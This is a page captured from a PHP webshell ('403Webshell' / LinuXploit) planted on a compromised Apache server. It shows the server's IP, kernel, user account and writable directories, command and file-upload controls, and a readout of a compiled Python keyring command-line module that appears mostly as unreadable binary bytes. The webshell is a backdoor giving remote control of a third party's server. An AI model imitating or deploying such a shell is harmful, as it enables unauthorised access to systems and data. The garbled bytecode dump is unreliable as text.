403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/keyring/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/keyring/__pycache__/cli.cpython-311.pyc
�

%�cT���dZddlZddlZddlZddlmZddlmZddlmZmZm	Z	m
Z
Gd�d��Zdd	�Ze
d
kreje����dSdS)z@Simple command line interface to get/set password from a keyring�N�)�core)�backend)�set_keyring�get_password�set_password�delete_passwordc�p�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zed
���Z
ed���ZdS)
�CommandLineToolc���tj��|_|j�ddddd���|j�ddddd	���|j�d
dd�
��|j�ddd�
��|j�ddd���|j�dd���|j�dd���dS)Nz-pz--keyring-path�keyring_pathzPath to the keyring backend)�dest�default�helpz-bz--keyring-backend�keyring_backendzName of the keyring backendz--list-backends�
store_truezList keyring backends and exit)�actionrz	--disablezDisable keyring and exit�	operationzget|set|del�?)r�nargs�service)r�username)�argparse�ArgumentParser�parser�add_argument��selfs �-/usr/lib/python3/dist-packages/keyring/cli.py�__init__zCommandLineTool.__init__sE���-�/�/����� � �����.�	!�	
�	
�	
�	
�� � ���"��.�	!�	
�	
�	
�	
�� � ���1�	!�	
�	
�	
�
	
�� � ���3M�	!�	
�	
�	
�	
�� � ����	!�	
�	
�	
�
	
�� � ���	!�	
�	
�	
�	
�� � ���	!�	
�	
�	
�	
�	
�c���|j�|��}t|���t|����|jr'tj��D]}t|���dS|jrtj��dS|�
��|���t|d|j
��|j��}|��S)N�do_)r�
parse_args�vars�update�
list_backendsr�get_all_keyring�print�disabler�_check_args�_load_spec_backend�getattrr�
invalid_op)r�argv�args�k�methods     r�runzCommandLineTool.run4s����{�%�%�d�+�+���T�
�
���$�t�*�*�%�%�%���	��,�.�.�
�
���a������F��<�	��L�N�N�N��F����������!�!�!���5�T�^�5�5�t��G�G���v�x�x�r!c�|�|jr2|j�|j�&|j�|j�d���dSdSdS)Nz requires service and username)rrrr�errorrs rr+zCommandLineTool._check_argsFsU���>�	U��|�#�t�}�'<���!�!�T�^�"S�"S�"S�T�T�T�T�T�	U�	U�'<�'<r!c�z�t|j|j��}|�td���t	|��dS)Nr)rrr�
SystemExitr)�r�passwords  r�do_getzCommandLineTool.do_getKs6�����d�m�<�<�����Q�-�-��
�h�����r!c��|�d|j�d|j�d���}t|j|j|��dS)NzPassword for 'z' in 'z': )�input_passwordrrrr8s  r�do_setzCommandLineTool.do_setQsO���&�&�C�T�]�C�C�$�,�C�C�C�
�
��	�T�\�4�=�(�;�;�;�;�;r!c�:�t|j|j��dS�N)r	rrrs r�do_delzCommandLineTool.do_delWs�����d�m�4�4�4�4�4r!c�:�|j�d��dS)Nz)Specify operation 'get', 'del', or 'set'.)rr5rs rr.zCommandLineTool.invalid_opZs������E�F�F�F�F�Fr!c�*�|j�dS	|jr%tj�d|j��tt
j|j����dS#tf$r(}|j	�
d|����Yd}~dSd}~wwxYw)Nrz"Unable to load specified keyring: )rr
�sys�path�insertrr�load_keyring�	Exceptionrr5)r�excs  rr,z"CommandLineTool._load_spec_backend]s�����'��F�
	J�� �
6������4�#4�5�5�5���)�$�*>�?�?�@�@�@�@�@���|�	J�	J�	J�
�K���H�3�H�H�I�I�I�I�I�I�I�I�I�����
	J���s�AA�B�*B
�
Bc�R�|���ptj|��S)zRetrieve password from input.)�pass_from_pipe�getpass)r�prompts  rr<zCommandLineTool.input_passwordms#���"�"�$�$�?����(?�(?�?r!c��tj���}|o0|�tj�����S)z4Return password from pipe if not on TTY, else False.)rC�stdin�isatty�strip_last_newline�read)�cls�is_pipes  rrJzCommandLineTool.pass_from_pipeqs?���i�&�&�(�(�(���C�3�1�1�#�)�.�.�2B�2B�C�C�Cr!c�>�|d|�d���S)z#Strip one last newline, if present.N�
)�endswith)�strs rrPz"CommandLineTool.strip_last_newlinews$���(�c�l�l�4�(�(�(�(�)�)r!N)�__name__�
__module__�__qualname__r r3r+r:r=r@r.r,r<�classmethodrJ�staticmethodrP�r!rrr
s�������$
�$
�$
�L���$U�U�U�
���<�<�<�5�5�5�G�G�G�J�J�J� @�@�@��D�D��[�D�
�*�*��\�*�*�*r!rc�t�|�tjdd�}t��}|�|��S)zMain command line interface.Nr)rCr/rr3)r/�clis  r�mainr`}s3���|��x����|��
�
�
�C��7�7�4�=�=�r!�__main__r?)�__doc__rKrrC�rrrrrr	rr`rX�exitr]r!r�<module>res���F�F���������
�
�
�
�������������F�F�F�F�F�F�F�F�F�F�F�F�m*�m*�m*�m*�m*�m*�m*�m*�`�����z����C�H�T�T�V�V�������r!

Youez - 2016 - github.com/yon3zu
LinuXploit